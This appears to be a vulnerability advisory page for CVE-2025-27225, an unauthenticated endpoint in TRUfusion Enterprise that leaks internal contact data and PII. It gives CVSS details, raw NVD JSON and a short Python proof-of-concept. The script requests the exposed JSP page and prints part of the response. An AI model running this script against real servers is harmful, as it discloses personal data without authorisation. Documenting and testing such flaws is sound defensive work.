Security Vulnerability Report
中文
CVE-2025-27225 CVSS 7.5 HIGH

CVE-2025-27225

Published: 2025-10-27 17:15:38
Last Modified: 2025-10-31 20:33:12

Description

TRUfusion Enterprise through 7.10.4.0 exposes the /trufusionPortal/jsp/internal_admin_contact_login.jsp endpoint to unauthenticated users. This endpoint discloses sensitive internal information including PII to unauthenticated attackers.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:rocketsoftware:trufusion_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
TRUfusion Enterprise <= 7.10.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-27225 PoC - TRUfusion Enterprise Unauthenticated Access # Target: TRUfusion Enterprise <= 7.10.4.0 # Vulnerability: Unauthenticated access to internal admin contact login endpoint import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-27225 """ # Vulnerable endpoint path vulnerable_endpoint = "/trufusionPortal/jsp/internal_admin_contact_login.jsp" # Construct full URL url = target_url.rstrip('/') + vulnerable_endpoint print(f"[*] Testing target: {url}") try: # Send GET request without any authentication response = requests.get(url, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") # Check if endpoint is accessible and contains sensitive information if response.status_code == 200: # Check for indicators of sensitive data exposure sensitive_keywords = ['admin', 'contact', 'email', 'phone', 'internal'] response_lower = response.text.lower() if any(keyword in response_lower for keyword in sensitive_keywords): print("[!] VULNERABLE: Endpoint is accessible without authentication") print(f"[!] Response length: {len(response.text)} bytes") print("\n[!] Sample response content:") print(response.text[:500]) return True else: print("[*] Endpoint accessible but content unclear") return None elif response.status_code == 401 or response.status_code == 403: print("[+] NOT VULNERABLE: Endpoint requires authentication") return False else: print(f"[*] Unexpected status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-27225.py <target_url>") print("Example: python cve-2025-27225.py https://vulnerable-server.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27225", "sourceIdentifier": "[email protected]", "published": "2025-10-27T17:15:38.210", "lastModified": "2025-10-31T20:33:12.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TRUfusion Enterprise through 7.10.4.0 exposes the /trufusionPortal/jsp/internal_admin_contact_login.jsp endpoint to unauthenticated users. This endpoint discloses sensitive internal information including PII to unauthenticated attackers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rocketsoftware:trufusion_enterprise:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.10.4.0", "matchCriteriaId": "2E26A047-ED87-40AB-B487-B4265139A603"}]}]}], "references": [{"url": "https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2025-27225.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.rocketsoftware.com/products/rocket-b2b-supply-chain-integration/rocket-trufusion-enterprise", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2025-27225.txt", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}